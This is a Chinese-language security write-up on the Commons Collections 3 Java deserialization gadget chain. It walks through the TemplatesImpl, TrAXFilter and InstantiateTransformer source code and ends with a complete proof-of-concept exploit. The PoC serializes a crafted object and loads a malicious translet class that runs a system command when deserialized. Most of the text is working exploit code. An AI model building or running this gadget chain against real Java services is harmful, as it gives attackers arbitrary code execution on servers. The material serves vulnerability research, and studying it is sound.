本文深入分析了Commons Collections 3链的利用原理,重点关注TemplatesImpl.getTransletInstance()方法,该方法通过defineTransletClasses()加载恶意类字节码,并通过newInstance()实例化执行恶意代码。
危险方法链 TemplatesImpI.getTransletInstance()
此方法既调用了TemplatesImpI.defineTransletClasses() (此方法中调用了defineClass() 方法加载类)
又调用了newInstance() 实例化了类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException {try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
TemplatesImpI.newTransformer() 调用了TemplatesImpI.getTransletInstance()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException{ TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
所以只要调用TemplatesImpI.newTransformer() 并且传入危险参数,即可执行危险方法
构造危险方法执行 _name 1 2 3 4 5 6 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses();
此处不希望_name ==null
直接反射修改_name的值为”aaa”
_tfactory 1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
此处想要程序正常运行需要有_tfactory 的值不为空
1 private transient TransformerFactoryImpl _tfactory = null ;
_tfactory 被transient 装饰不可被序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private void readObject (ObjectInputStream is) throws IOException, ClassNotFoundException { SecurityManager security = System.getSecurityManager(); if (security != null ){ String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET); if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true" ))) { ErrorMsg err = new ErrorMsg (ErrorMsg.DESERIALIZE_TRANSLET_ERR); throw new UnsupportedOperationException (err.toString()); } } ObjectInputStream.GetField gf = is.readFields(); _name = (String)gf.get("_name" , null ); _bytecodes = (byte [][])gf.get("_bytecodes" , null ); _class = (Class[])gf.get("_class" , null ); _transletIndex = gf.get("_transletIndex" , -1 ); _outputProperties = (Properties)gf.get("_outputProperties" , null ); _indentNumber = gf.get("_indentNumber" , 0 ); if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); } _tfactory = new TransformerFactoryImpl (); }
但是在readObject 里面对_tfactory 进行了赋值所以可以不用管
_bytecodes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
此处要传入一个值来执行defineClass() 方法
1 private byte [][] _bytecodes = null ;
需要传入一个二维数组但是后面又转化成一维数组了所以直接在二维数组第一个放一个危险类
调用危险方法 TrAXFilter 的构造方法直接调用了templates.newTransformer()
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
但是TrAXFilter 无法被序列化再往上找找到了InstantiateTransformer.transform()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
此处调用了任意方法的构造方法刚刚好可以执行TrAXFilter的构造方法 并且也可以被序列化
此处出现了transform方法可以直接用CC6来实现对InstantiateTransformer.transform() 的调用
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class CC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class<? extends TemplatesImpl > aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"aaa" ); Field bytecodes = aClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D://tmp/classes/Test.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> Hashmap = new HashMap <>(); Map<Object,Object> map = LazyMap.decorate(Hashmap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) constructor.newInstance(Target.class,map); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},h); Object o = constructor.newInstance(Override.class, mapProxy); Serialize(o); UnSerialize("CC3.bin" ); } public static void Serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC3.bin" )); oos.writeObject(obj); } public static void UnSerialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); ois.readObject(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
需要先将test.java编译成.class后的路径传给_bytecodes数组